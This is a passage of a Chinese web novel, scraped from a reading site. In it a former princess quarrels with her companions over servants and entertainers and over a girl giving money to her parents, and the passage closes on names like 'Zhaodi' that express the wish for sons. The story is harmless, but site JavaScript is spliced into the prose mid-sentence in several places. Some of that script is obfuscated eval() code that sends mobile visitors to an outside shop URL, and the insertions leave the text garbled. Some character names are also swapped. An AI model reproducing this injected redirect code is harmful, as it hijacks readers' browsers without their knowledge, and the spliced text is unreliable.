“也是,姑娘这样的性子是最可贵的,要姑娘为我家公子而改变,是我冒昧了。”程祥抱歉地说道。 “哎!对了,戴家的男仆是不是挺多的。”姜佑安突然问道。 “还好吧,戴家人丁不旺,仆人也不多,”程祥说道。 “男仆之中,有没有没成亲的,长相还比较周正的?”姜佑安问道。 程祥想了想,“长相?倒是也有差不多的,姑娘问这个做什么?” “等我的弓箭社找到场地了,你就把长相不错的男仆带来给我看看。”姜佑安笑着说道。 程祥皱起了眉头,“啊?你要做什么?” “这你就别管了,我可是把你当朋友的,你连这点小忙都不肯帮?”姜佑安说道。 “能帮是能帮,可是……”程祥很犹豫,“姑娘之前说,想要美貌男人,难道是认真的?” “当然是认真的,我骗你做什么。”姜佑安理所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 当然地说道。 程祥不能理解,“这样不大好吧,你要是想成亲,就认真找个好男人嫁了,不是更好吗?” “知人知面不知心,好男人是天下难找,但是长得好不好看,我一眼就能分辩,我没想成亲,只是想要美貌男人陪着我而已。”姜佑安说道。 “我那我还建议你找我家公子,没有比他更符合你的要求的了,他长得好看,没有成亲,也不会跟其他女人接触,为人也比较正派,不会做出有损你清誉的事。”程祥说道。 姜佑安不耐烦地白了程祥一眼,“你脑子你就只有你家公子,天下男人这么多,好看的也不少,我怎么能为了一朵花,舍弃一整个花园?” 程祥的神色愈加凝重,“姑娘是女人,男人如此,尚且招人非议,何况是女人。” “你也是在京城待过的,京城里那些达官贵族家的公子,哪个不是三妻四妾,房里还有一堆丫鬟服侍?还有那些公子王孙,只嫌自己子嗣少,从没嫌小妾多,我从没听到有人非议他们,女人也当如此。”姜佑安说道。 “这里不比京城,地方小,人也少,一有点儿什么出格的事,就会闹得人尽皆知,而且,女人到底不比男人,就算是在京城,我也只听说长兴公主府里养有男宠,那也是因为皇上宠爱这位公主,其他人便不敢说什么,姑娘如何能像公主一样行事?”程祥耐心地劝道。 “想说什么就说呗,京城里也不是没有人私下里骂公主,公主不在意,别人就如同不存在,别人要是在背地里骂我,反正也没有传到我的耳朵了,管它做什么?要是敢在我在的面前议论我的行事,搬弄是非,我就让他尝尝我的厉害。”姜佑安说道。 程祥轻轻叹了口气,“姑娘何必如此呢?” “何必如此?这我倒没想过,我只是觉得,男人能做的事,女人一样能做,男人可以读书,可以办弓箭社,可以三妻四妾,你觉得这很正常,女人读书,女人办弓箭社,你就觉得这女人非同寻常,女人要三四个男人陪侍,你是不是觉得天都要塌了?”姜佑安说道。 见程祥没有回答,她佑安笑了笑,接着说道:“可是,就算女人做这些,做男人可以做的一切事,天也不会塌的,你要学着放松一点,这都没什么大不了的。” “你真的不在意别人的目光和非议?”程祥问道。 “在意这些干什么?我只要自己活得开心就好,我想读书就读书,想射箭就射箭,想要男人,就去找男人,又没有妨碍到别人,如果因为害怕别人的看法,就这也不能做,那也不能做,岂不是太无趣了?”姜佑安笑着说道。 程祥看着姜佑安的笑脸,她的眼睛里有自己难以企及的豪爽和豁达,他为她而叹服,“姑娘说的是,姑娘的人生,应当是有趣的。” 姜佑安看着程祥,诚挚地说道:“程祥,你的人生也应当是有趣的。” 程祥好像受到了某种鼓舞,他点了点头,两人相视而笑。 戴庭芳突然出现在程祥身后,“你们在聊什么呢?” 姜佑安转头看向戴庭芳,笑着说道:“在聊一件你绝对不能接受的事。” 58. 游春 戴庭芳感到自己又被排除在外了,之前在弓箭社的时候也是,姜佑安向人介绍他们时,说的是她的朋友程祥和程祥的公子,她只承认和程祥关系亲近,却不愿意承认自己是她朋友,这是为什么?戴庭芳想不明白。 “什么事是我绝对不能接受的?”戴庭芳问道。 “你就别问了,程祥刚说了我一通,你知道了,也免不了要教训我,我才才不想听。”姜佑安说完,走到李初五身边,去指导她射箭去了。 “你们在说什么?”戴庭芳小声向程祥问道。 程祥笑了笑,“姜姑娘夸公子长得好看。” 戴庭芳怀疑地看着程祥,“你是不是在糊弄我?” 程祥拉着戴庭芳往院里走,“公子,姜姑娘现在不想提,能回家了我再告诉你。” “那个黎公子来这里是有什么事吗?”戴庭芳一边走一边问道。 “黎公子说想加入姜姑娘创建的弓箭社,姜姑娘没同意。”程祥说道。 “锦标社虽然被查,但也没被关停,他为什么会想加入姜姑娘的弓箭社?”戴庭芳问道。 “这我哪里能知道,公子问我,我问谁去?”程祥说道。 “你不是姜姑娘的朋友吗?她没有跟你说?”戴庭芳说道。 “公子这话怎么听着酸酸的?你想知道,你亲自问姜姑娘不就好了。”程祥打趣道。 戴庭芳眉头微皱,“你明知道我不擅长跟女人说话,尤其是姜姑娘这样逾规越矩的女人。” “有吗?除了夫人以外,姜姑娘是跟公子说过最多话的女人了吧,我看公子跟姜姑娘说话时,挺正常的啊。”程祥说道。 “算了,我不跟你说了。”戴庭芳不知该如何解释,抛下程祥,进屋去了。 天气一天比一天暖和起来,柳条变绿,野草生发,燕子飞回,大地一片生机,县城里的人开始频繁外出,河边常有三五成群的游人,宴饮作乐。 戴庭芳和程祥还是照例隔日来一趟,黎泱泱却是几乎天天都来,已经和李初五成了朋友,互称师姐师弟,袁竹看不惯一个陌生男人每天在她家附近晃荡,催促姜佑安赶紧找地方办弓箭社,把那个男人带走。 姜佑安也去看了一些地方,要么太远,要么地方太小、施展不开,看来看去也没找到合适的,她也跟黎泱泱说了,让他不要到家里来,他却说自己只在院子外,绝不进门,而且他过来是为了和李初五一起训练的,李初五能来,他就要来。 看李初五确实跟黎泱泱相处得很好,每天都盼着这个师弟过来跟她一起训练,姜佑安也不好强行赶他走,只能把靶子拿到离家远一点的地方。 家门口没有男人了,袁竹就感觉好了很多,也不再管姜佑安了,她已经在山脚下租了一大片荒地和两块良田,每天卖完了花,就去地里忙活,程祥和李长风都跟着一起去干活,程祥走了之后,阮荷也会去地里一起干。 张慈偶然看到袁竹在山脚下开荒,得知她租了这块地,也拿着锄头过来帮忙,李初五知道了,也要来帮忙,姜佑安和黎泱泱也去了,阮荷见其他人都去干活了,她也坐不住了,要求干完了活再接着学,戴庭芳便和她一起下地去了。 干活的人多,没几天就把地上的荒草和石块清理干净,还把地整个翻了一遍,上好了底肥。 郭英拎着食盒从田边走过,看到姜佑安在田埂上坐着休息,她走了过去,“姜佑安!你怎么在这里?” 姜佑安站起身来,拍了拍手上的土,迎了过去,笑着说道:“我在这儿干活呢,你这是要到哪儿去?” “我正要去找你来着。”郭英把手上的食盒展示给她看,“天气这么好,我做了些点心,准备去河边坐坐,你要不要一起去?” “好啊,我去。”姜佑安回头看向袁竹,“袁竹,活都干得差不多了,大家都一块到河边游春去吧。” 袁竹坐在田埂上,没有动弹,“游春是什么意思?” “就是去看看风景,坐下来吃点点心、品品茶、喝喝酒,最好还能奏点儿乐。”姜佑安说道。 “果然是有钱人的享受,我可受用不起。”袁竹说道。 “我也没什么钱,不过是去河边坐坐罢了。”郭英微笑着说道。 阮荷很想一起去,她走到袁竹身边蹲下,拉扯着她的衣袖,“袁姐姐,咱们也去吧。” “咱们这么多人,怎么好跟着她蹭吃蹭喝。”袁竹说道。 “没关系,小阮,等会儿把我的点心也都包上,还有瓜子也带上,再煮一壶茶,咱们大家一起游春去。”姜佑安说道。 阮荷惊喜地看着姜佑安,点了点头。 “好啊,游春去!”李初五高兴地叫道。 张慈笑了笑,“那我们就跟着一起凑凑热闹,初五,走,跟我回去,看看家里有什么能带着的。” “行,那就一起去吧。”袁竹站起身来,“那我回去烧水泡茶吧,张姐,一会儿你准备好了,就到我家去。” “嗯”张慈点了点头,扛着锄头,带着李初五回家了。 “我就不去了,程祥,我们回去吧。”戴庭芳说道。 程祥不太愿意,“公子,大家一起去游春多好啊,干嘛着急走。” “戴公子要是不愿意跟我们一同出游,就去家里歇歇吧,我们带程祥一块去。”姜佑安说道。 “我也要去,姜姑娘,多我一个人,应该不算多吧,明天我可以给姑娘带烧鸡来。”黎泱泱笑着说道。 “对啊,公子,你要是觉得不能白吃姜姑娘的东西,明天咱们也可以带点心来还给姜姑娘。”程祥说道。 戴庭芳只好妥协,“好吧,我也去。” “多谢戴公子赏脸,小阮,走,咱们回家去。”姜佑安拉着阮荷往家里走去。 袁竹在后面收拾农具,程祥帮着一块拿回了家。 袁竹去了厨房烧水,姜佑安和阮荷去包点心和瓜子,李长风去叫了杨恩来,等泡了茶,张慈母女也来了,众人便浩浩荡荡往河边去了。 天安县城城北有山有水,是游人常去的地方,城南的河边,人稍微少些,张慈铺开家里带来的毡布,李初五放上一盘干枣,一盘米糕,杨恩放下一壶酒和几个酒杯,阮荷打开绿豆糕和西瓜子的纸包,放在了旁边,郭英打开食盒,把点心也放了过去,李长风把一把筷子放在了食盒盖子里。 姜佑安把装有茶水的铁壶放在毡布一旁,程祥拿着茶杯过去,给众人倒茶,李长风见了也过去帮忙。 “大家都坐吧。”姜佑安说着,坐在了毡布上,李长风把一杯茶水递到了她手上,杨恩倒了一杯酒,也递给了她。 “佑安姐姐会喝酒吗?”阮荷问道。 “谢谢。”姜佑安把酒杯也接了过去,看了看众人,笑着说道:“对着美景美人,喝一杯美酒也无妨。” 袁竹十分嫌弃,“说什么酸话呢!能喝就喝,不能喝就别勉强。” “袁姑娘要喝一杯吗?”杨恩问道。 “我喝茶就好。”袁竹刚说完,李长风就把茶杯送到了她面前,她道了声谢,把茶杯接了过 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“你有空的时候过来就行,不用每天都来。”姜佑安吃了果子,又尝了张慈带来的米糕,软软的口感,味道也不错,“你最近有去看过徐奶奶吗?” “前两天刚去过,她说你给她拿了钱,却连一口水都没喝,让她过意不去。”郭英嗑着瓜子说道。 “徐奶奶是谁?”阮荷问道。 “是赵雄的老母亲,一个人孤苦伶仃的,正好我最近赚了些钱,就给她送了点儿过去。”姜佑安吃了米糕,喝了一口茶,又拿起一块酥皮绿豆糕来,吃了一口,她眉头一皱,又放了回去,“这绿豆糕受潮了,太难吃了,大家不要吃了,吃米糕和点心吧。” “受潮了而已,又不是有毒。”袁竹说着,拿起一块绿豆糕吃起来。 姜佑安感到难以理解,“这里有好吃的,为什么你偏挑难吃的吃?” “什么好吃的难吃的,只要能填饱肚子就行了。”袁竹无所谓地说道。 “姜姑娘是觉得愧疚吗?”戴庭芳突然问道。 姜佑安将杯中酒一饮而尽,轻轻将酒杯放在了毡布上,“我没什么可愧疚的,只是觉得老人家太可怜了而已。” 黎泱泱听不明白,向戴庭芳问道:“姜姑娘为什么要觉得愧疚?” “没什么,都是过去的事了,大家就不要提了,别扰了游春的兴致。”姜佑安微笑着说道。 “这位公子是?”郭英问道。 “他是县里弓箭铺的黎老板,也是我弓箭社的社员,那位姐姐姓张,是这个小姑娘的母亲,这个小姑娘叫初五,这两位是小阮和长风,是我的家人,那两位是戴公子和程祥,你之前也见过的,这位姑娘叫郭英,是我的朋友。”姜佑安互相介绍了一番,众人互相打了招呼。 姜佑安看向郭英,“初五是我弓箭社的一号社员,黎公子是二号社员,怎么样,你要不要来当三号社员?” 郭英笑了笑,“那自然好,黎老板,初五姑娘,还请多多关照了。” “郭姑娘客气了。”黎泱泱点头说道。 “那太好了!我们弓箭社又有新人了!我要教郭娘子射箭。”李初五高兴地说。 “你才学了几天箭?就能当老师了?”张慈笑着说道。 这边正高兴地说着话,那边大路上忽然来了一群人,一人穿着青色长袍骑在马上,前前后后跟了六七个仆人。 郭英见了,脸色顿时冷了下来,回过头来低声骂道:“狗官!” 59. 吵架 姜佑安听见声音转头看过去,见骑马的人已经从身后走过,后面的人有拿交椅的,有捧食盒的,有挑炉子的,有背着斗笠的,一群人正慢慢往县城走去,看来是游完了春,正往家里去。 “你认识那人?”姜佑安问道。 “姑娘不认识他?他就是本县的现任知县,贾濂。”黎泱泱说道。 姜佑安恍然大悟,“之前我想去找他来着,没见到人,原来他就是知县。” 郭英一脸厌恶,“不过是出门游乐,还带这么多的人手,摆的什么架子!” “他怎么说也是个朝廷命官,出门带六七个人而已,算得了什么?”姜佑安说道。 “你觉得他这样耀武扬威,是正常的?”郭英问道。 姜佑安不以为意,“读书人寒窗苦读,为的不就是入朝为官吗?好不容易当上了朝廷命官,显摆显摆又能怎么样?说不定,别人看他一个小小的知县,都能有这样的排场,也会生出读书考取功名的心思。” “你是说他这种行为,值得夸赞?”郭英难以置信地问道。 “我没有夸赞他的意思,我只是说,有权有势的人,带六七个仆人也不算什么,挺正常的啊,如果是我,我不仅要带十来个仆人,还要带上歌舞乐伎呢。”姜佑安笑着说道。 郭英一下子站起身来,“他身为朝廷命官,该办的事不办,整天想着钻营取乐,以权势欺压盘剥平民,你还觉得正常?本以为你是个嫉恶如仇又有善心的人,没想到你不仅想要奴仆成群,还要乐伎作陪,等哪天你飞黄腾达了,定会成为他那样的人吧!” 姜佑安也站了起来,疑惑地问道:“你说什么呢?我只是想要宴饮作乐而已,又没有要欺压盘剥百姓。” 郭英冷哼一声,“是啊,你只是想要宴饮做乐而已,那有谁是自愿做奴仆,自愿成为乐伎为你取乐的?你只想着有权有势是何等威风,却没有想过,像你我这样的升斗小民,不过是他们宴席上的奴仆和乐伎!” 面对郭英冷酷的态度,姜佑安也生起气来,“你我都是能养活自己的平民,怎么会成为奴仆和乐伎?你做出这样的假设,不是在无理取闹吗?” 郭英怒视姜佑安,“你说我是无理取闹?” “难道不是吗?”姜佑安反问道。 郭英气愤地点了点头,“好,是我无理取闹!也是我看错了人!”说罢转身离去。 程祥站起身来,轻声劝道:“这好好的,怎么突然就吵起架来?” 姜佑安坐了下去,把酒杯递给杨恩,杨恩给她斟了酒,她端起来一口喝下,气愤地看着河面,“谁知道她是怎么回事!一个县官身后跟着几个仆人而已,多正常的事,她跟我发什么脾气?” 气氛一时凝重起来,众人都沉默了。 “大家都知道贾知县不大管事,这县官当得不称职,也许郭姑娘因此心中有气吧。”袁竹说道。 “之前赵雄的事,姑娘不也想让知县给你主持公道,但连知县的面都没见到,郭姑娘肯定也有类似的事,才对贾知县如此厌恶。”程祥说道。 姜佑安一想,确实也有理,因为赵雄的事,郭英确实是应该恨知县的,恨他不管民间疾苦,却有心思带着这么多人出来游春。 姜佑安回头看了看郭英逐渐远去的背影,叹了口气,“就算她厌恶知县,何必迁怒到我头上。” “你是富贵生活过惯了,不知道平民百姓的艰难。”袁竹吃着绿豆饼,喝了一口茶,“我们这样的穷人,一不留神,就可能变成奴仆,长得好看的,也可能成为乐伎,你那样高高在上地说带着奴仆和乐伎出去玩,她心里怎么可能舒服。” “你不是一向不让我跟她来往吗?怎么还尽帮着她说话?”姜佑安不满地说道。 “我不是帮她说话,只是告诉你,她为什么会生气。”袁竹淡淡地说道。 “你也觉得是我错了?”姜佑安问道。 “对我来说,你们倆都算不上错,不过,你可以问问程祥。”袁竹说道。 姜佑安看向程祥,才突然想到,在座的所有人中,只有他是真正的仆人,“戴公子带着你一起出游,你会觉得讨厌吗?” 程祥摇了摇头,“不会。” “姜姐姐没有错,姐姐带下人、乐伎出游,都是很平常的事。”李长风说道。 “对不起,搅了各位的兴致,我先回去了,你们继续吧。”姜佑安站起身,往家里走去,李长风忙跟了上去。 众人见了,也无心再赏春,纷纷收拾东西,表示要回去了。 戴庭芳和程祥走了,张慈和李初五也抱着毡布和盘子回家去了,黎泱泱帮着袁竹、阮荷和杨恩一起收拾东西,一路上向杨恩打听姜佑安的出身以及赵雄的事,杨恩什么都没说,让他自己问姜佑安去。 姜佑安没有心情跟黎泱泱说什么,便让他回去了,好好一场春宴,就这样不欢而散。 吃过了午饭,袁竹带着李长风去菜园种菜,阮荷在堂屋里写字,姜佑安躺在床上小憩,考虑着要不要去给郭英道歉。 她想不明白,知县身边跟着几个下人,跟郭英有什么关系?她带几个仆人、乐伎去游玩,她就成了欺压盘剥百姓的人了?这怎么可能?她从不欺压下人! 她想着想着不禁生起气来,她可是堂堂公主,出游时带几个仆人、乐伎怎么了?又不是她让别人成为仆人、乐伎的!凭什么因为无缘无故的迁怒,就要她去给一个村姑道歉? 即使现在她不是公主了,她也不想为此而道歉。 姜佑安气得睡不着,下了床去找阮荷,想跟她商量商量,没想到阮荷没在堂屋里,她转头向外看去,见阮荷正站在院门外跟什么人说话。 姜佑安还没看清旁边那人是谁,阮荷就拉着那人往东侧去了,她轻手轻脚地走到院门边,听到了两人说话的声音。 “这么快就花完了?” “你爹的病不大好,一两银子,都买不了几副药,要不是家里积蓄都用光了,我也不会来求你。” “表叔他不肯借钱给你吗?” “我根本没有见到他的人,之前因为你的婚事,他跟你爹说了狠话,你爹也不愿意去求他,我听说都是赖川在养着你,他那么有钱,肯定给了你不少吧,你就再给我点儿,救救你爹吧。” “我都跟你说了,我跟赖川没有关系,他来过,被我们打跑了,才传了那样的话出去,我没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984480|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿过他一个铜板。” “你跟赖川没有关系?那你哪来的钱?” “哎呀,这你就别管了,这一两银子,你拿走吧。” “一两银子才能管多久,你还有多少,再给我些。” “我没有多少钱,你先拿去用,用完了我再想办法。” 姜佑安听不下去了,冲出去大声喝道:“小阮,不能给她钱!” 洪楠见有人出来,从阮荷手中接下那一两银子,转身向大路跑去,姜佑安赶忙去追,阮荷拦住了她,“佑安姐姐,你就别管了,让我娘走吧。” 阮荷和李长风从菜园里走出来,“怎么了?出什么事了?” “长风,快去把那女人拦下,把她手里的钱抢回来!”姜佑安喊道。 “不许去!”阮荷大声呵斥道。 李长风从没听过阮荷大声说话,一时被她吓住,没有动弹。 袁竹走了过去,柔声问道:“小阮,你娘来了?” “来了,刚走。”阮荷语气生硬。 “那女人不是第一次来了,她是来要钱的。”姜佑安说道。 “你给她钱了?”袁竹又问道。 “给了,我爹病了,我不能见死不救。”阮荷说道。 “他要把你卖给赖川的时候,有管过你的死活吗?你管他做什么?”姜佑安生气地说道。 阮荷固执地瞪着眼睛,“不管怎么说,他都是我爹,我不能不管。” “抛弃你的爹,你就该把他也抛弃了!”姜佑安说道。 “那你是的想法,我为什么非得听你的?即使我怨恨父亲要把我卖了,我也从没想过让他去死!”阮荷说道。 姜佑安气得热血上涌,“你是没想让你爹死,你光想着让自己死了!害你的人,没有受到惩罚,你只想惩罚你自己,你现在还拿钱给他治病,你就是害你自己的帮凶!” “你不也跟我一样?你只是逃跑了而已,你爹受到惩罚了吗?”阮荷反问道。 姜佑安一下子愣住了,害她去和亲的人,她能让他受到惩罚吗?她的气势弱了下去,“起码我没有要去帮他。” 见姜佑安的声音低下去,阮荷的声音高了起来,“我爹娘生我养我这么多年,我帮他们一把,有什么不行!我非要像你一样冷血吗?” “我?冷血?”姜佑安不敢相信自己的耳朵,那个和善的、脸上总是带着笑的小阮,竟然会骂自己冷血! “对,你就是冷血,所以你没办法理解郭娘子,你也没办法理解那些跟随在你身边的仆人、乐伎,你觉得她们伺候你是理所当然的,你开心的时候,就觉得她们也开心,可你从来没有想过她们真实的感受。”阮荷说道。 “你怎么知道我没有想过?”姜佑安怔怔地问道。 “你要是想过,就不会在表哥面前问程大哥,和表哥一起出门他会不会高兴,仆人怎么能在主人面前说他讨厌跟主人一起出门?怎么能表示出他对主人的不满?他只能说自己开心,只能在主人叫他的时候,马上跟上去,他是仆人,他没有说不的资格。”阮荷说道。 姜佑安扯了扯嘴角,僵硬地笑了,“小阮读书明理了,比我懂的都要多了。” 60. 名字 “这跟读书没有关系,我和郭娘子只是比你更明白那些下人的苦,你看到知县带着一群仆人,只觉得是应该的,我们却看到了那些仆人脸上的疲惫,我和郭娘子和他们一样,是没有选择的。”阮荷说道。 见两人越吵越激烈,袁竹主动承认自己也有过失,“是我让她问程祥的,我也同样有错。” 阮荷想说袁竹没有错,张了张嘴,却说不出口。 姜佑安盯着阮荷,冷静地说道:“你以前没有选择,是你父母逼迫的,但现在不同了,有我们在,我们不会让你成为仆人乐伎,你也可以选择远离你的父母。” 袁竹倔强地摇了摇头,“我爹已经知道他错了,他不会再逼着我嫁人,他们是我的爹娘,我是他们的女儿,他们是在乎我的。” “不,他们不在乎!”眼泪从姜佑安的眼眶里涌出,她愤恨地问道:“他们不在乎你,就因为不在乎,他们才会任意驱使你,才要把你卖掉,他们伤害了你,你为此甚至想要自杀,为什么你要这么轻易地原谅他们?” “你不要管我!”见姜佑安流着泪,阮荷也忍不住哭了起来,“我不是你,我做不到那么绝情,我爹和我娘也曾经对我很好,只是后来,家里的孩子多了,爹娘的负担重了,我也长大了……” 袁竹把阮荷抱在怀里,轻抚着她的后背,“没事的,没事的,都说出来就好了,把你想说的都说出来。” 阮荷一下子崩溃了,抱着袁竹哭着道歉,“对不起!你们都对我很好,是我自己,是我不能适应,是我总把自己当成下人,总觉得自己做的不够好,总想着去讨好你们,讨好了你们,我心里又觉得委屈,明明说好要把彼此当家人的,对不起!” 袁竹心疼地抱着阮荷,嗓子发紧,“没关系,我们原本都是陌生人,你不能适应也是正常的。” 姜佑安看着阮荷,满心的不能理解,“你讨好我们,讨好我?我以为你是跟我关系亲近,才给我梳头、做鞋、洗衣服,原来在你看来,你是在讨好我?” 袁竹放开阮荷,看向李长风,“长风,你跟小阮回屋去吧,我有话要跟你姜姐姐讲。” “嗯。”李长风应了一声,扶着抽泣的阮荷进了院门,阮荷一直低着头,没看姜佑安一眼。 姜佑安被阮荷的话打击到,内心难过不已。 袁竹走到姜佑安面前,轻声说道:“我可能没跟你说过,我上面还有一个姐姐,一个哥哥。” 姜佑安擦了擦眼泪,疑惑地看着袁竹,“你突然说这个做什么?” “我姐姐是家里的老大,从小就帮着我爹娘带我哥哥,我哥哥大些了,姐姐又要带我,除了带孩子,姐姐还要下地干活、割猪草、洗衣服、做饭刷碗,十六七的年纪,就已经会织布做衣服、做鞋,村里人都夸我姐姐听话又懂事,自打我姐姐能干活了,我爹娘就轻松多了。”袁竹说道。 姜佑安听着,默然不语。 “小阮也是家里的老大,我看到她干活的样子,经常想起我姐姐,姐姐总是精神头十足的样子,我爹娘需要什么的时候,不用说话,我姐姐就能把东西递到我爹娘手里,只要有我姐在,我爹娘什么都不用操心。”袁竹说道。 “你姐姐和小阮都是能干的人,我不是。”姜佑安冷冷地说道。 “我之前一直没有意识到我姐是这么能干的人,直到我姐嫁人之后,那些活都落在了我头上,有一点做不到、想不到的,我爹娘就会骂我,说我不如我姐姐,当我做着姐姐做的那些活时,我才知道,她并不是天生就这么能干,是我爹娘逼迫的。”袁竹说道。 “看小阮爹娘那个样子,小阮应该也是如此吧。”姜佑安说道。 “正因为有那样的爹娘,所以我姐姐时常要想着去做点什么,让她不用挨骂,甚至可以得到一两句夸奖,这已经成为她的习惯了,她闲不下来,小阮也是一样,她来到我们家之后,也一直在想着,要干活才会被我们留下,就像她说的,这是一种讨好,她知道不对,但这也是她的习惯了,她很难改掉。”袁竹说道。 姜佑安没有说话,一副若有所思的样子。 “她每天要留很多的时间读书写字,估计她心里很不舒服,她又想学习,又觉得应该和我一起干活。”袁竹说道。 “怪不得她说要干完地里的活,再去读书。”姜佑安说道。 袁竹叹了口气,“她和我姐姐真的很像,她们都很为其他人着想,可以为了别人委屈自己,所以她娘一来求她,她就会心软,她是个善良的孩子,宁愿自己受苦,她也不会抛弃她的父母,别人可以对不起她,她却不愿意对不起别人。” “她这样的性子,就是在告诉别人,都来欺负我,欺负我我也不会反击。”姜佑安不屑地说道。 “是啊,所以我希望她能发发脾气,你今天做的不错,让她说出了自己真实的想法。”袁竹露出了微笑。 姜佑安眼中充满了怀疑,“你是在夸我?” 袁竹笑得更开心了,“小阮都敢跟你吵架了,这挺好的,不是吗?” “你偏心!你只想着小阮,我的委屈呢?”姜佑安的眼角又泛起了泪光,“我明明是不想让她受欺负,她还要骂我冷血!还有郭英,她凭什么要迁怒我?” 袁竹环住了姜佑安的肩膀,“你有话就会直说,不会憋在心里,哪里会让自己委屈,小阮骂你冷血,确实是她的不对,不过,人在吵架的时候,就是会冲动乱说话,等小阮冷静下来,我就让她给你道歉,你也得给她道个歉。” “我为什么要道歉?”姜佑安不服气地反问道。 “小阮手里的钱,虽说都是我们两个给的,但既然给她了,就是她的了,她想怎么处理,就怎么处理,就算钱全都被她娘骗走了,也是她自己的事,你不该拦着,也不该让长风去把钱抢回来。”袁竹说道。 “骗走?你觉得她娘是在骗她?”姜佑安问道。 阮荷松开了姜佑安的肩膀,“很可能,她娘上次来的时候,我看见了,小阮对她爹娘还有感情,你让她跟爹娘断绝关系,她也做不到的,还不如顺其自然。” 姜佑安不能理解,“你就让她把钱全都给她爹娘?” “你也看到了,小阮读书很用功,为了能继续写字,她肯定要留下钱来买纸的,而且,她今天能反抗你,明天未必不能反抗她爹娘,她能拒绝嫁人,以后肯定也能拒绝给钱,小阮会慢慢长大的,你要有耐心。”袁竹说道。 姜佑安有些不满地看着袁竹,“你什么都懂,你来管吧,我不管了。” “你可是小阮的姐姐,怎么能不管她?”袁竹笑着挽起姜佑安的胳膊,带着她往院里走去。 两人回到堂屋里,阮荷埋头在桌边写字,李长风站在门边,不知所措地看着姜佑安和袁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997726|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹。 袁竹安慰了李长风一番,姜佑安回了西侧里间,阮荷始终不发一语,袁竹去劝她,她却固执地不肯向姜佑安道歉,直到第二天上午,姜佑安和阮荷还是别别扭扭的,只当对方不存在。 黎泱泱没来,李初五也没来,姜佑安独自在院门外练箭,一个十三四岁的小姑娘走过来,脆生生地问道:“娘子,阮招娣是住在这里吗?” 姜佑安愣了一下,才想起那是阮荷原先的名字,她没好气地问道:“你找她做什么?” “她是我姐姐,我好长时间没见到她了,很想她。”小姑娘说道。 看着小姑娘略带羞涩的脸,和阮荷真有五六分相似,姜佑安放下弓,“她在屋里,你跟我来吧。” “嗯。”小姑娘应了一声,跟在了姜佑安的身后。 姜佑安踏进院门,扬声喊道:“阮招地,你妹妹来找你了!” 阮荷听了手一抖,扔下笔,起身跑了出去。 “姐!”小姑娘快步跑过去,扑在了阮荷的怀里。 “你怎么到这里来了?”阮荷惊讶地问道。 姜佑安心生感叹,小小的阮荷,也是姐姐呢。 袁竹也走了出来,笑着问道:“是小阮的妹妹啊,你叫什么名字?自己一个人来的?” “我叫盼娣,我自己来的。”阮盼娣乖巧地回答道。 袁竹脸上一滞,又笑着问道:“小姑娘真厉害!你怎么认识来这里的路?” “我是听我娘说的,我想姐姐了,就自己找来了。”阮盼娣骄傲地说道。 “咱爹的病怎么样了?”阮荷担心地问道。 “爹的病?什么病?”阮盼娣一脸不解地反问道。 姜佑安知道是阮荷的娘在撒谎骗钱,她把弓箭放在屋里,站在门边问道:“招地、盼地,这边的庄稼人都这么起名字?是想多种些地吗?” “不是,盼娣是盼着有弟弟的意思。”阮盼娣笑着向姜佑安解释道。 “什么?”姜佑安的脸色沉了下去,“那招地呢?” 阮盼娣依旧笑着,“招娣就是招一个弟弟来的意思,不过,姐姐没有招来弟弟,招来了我,爹娘盼着我能有弟弟,就给我取名叫盼娣,后来就给盼来了,我们家里现在有两个弟弟了。” “怪不得袁竹会说招弟不算个名字。”姜佑安的胸中升起一股怒火,“你爹娘怎么能给你们取这样的名字?” “有什么不对吗?”阮盼娣不解地问道。 “女孩男孩都是父母宝贵的孩子,怎么能在女孩的名字上寄托生男孩的希望?”姜佑安生气地说道。 “这边都是这样的,招娣、盼娣、带娣、领娣,取这样的名字可多了。”阮荷拉着妹妹的手,语气淡漠地说道。 “那有叫招妹、盼妹的男孩吗?”姜佑安问道。 “怎么可能有!大家都想要男孩,哪有盼着生女孩的?女孩养大了,也是别人家的,只有生了男孩,爹娘才算有了依靠。”袁竹说道。 姜佑安还是不能接受,“就算是这样,也不能取这样的名字吧!” “男孩才是被期望降生的,佑安姐姐不也知道吗?书院里只招收男人,弓箭社也只收男人,出门行商的,也多是男人,家里的顶梁柱更是男人,人们有什么理由不盼着生男孩,而去盼着生女孩呢?”阮荷看着姜佑安,眼神中带着困惑和绝望。 61. 决定 看着眼前这两个女孩子,姜佑安突然感觉这个世界很荒谬,女孩有什么不好,为什么要如此偏爱男孩?为什么要让女孩成为不被期望的孩子,小心翼翼地在家里生存? “我们家的顶梁柱就是女人。”在一旁默默听着的李长风突然说道。 “长风说得对!”袁竹笑了起来,“我们女人也能射箭,也能读书,也能卖花做生意,女人也能撑起一个家。” 阮荷淡淡一笑,“对,姜姐姐和佑安姐姐很厉害,我才能在这里读书识字。” “姐姐读书了?好厉害!我也想学!”阮盼娣羡慕地说道。 “好啊,我教你。”阮荷笑着说道。 阮荷领着妹妹进屋去了,李长风也跟了进去,向阮盼娣展示自己会写的字。 姜佑安站在门边看着,心里很不是滋味。 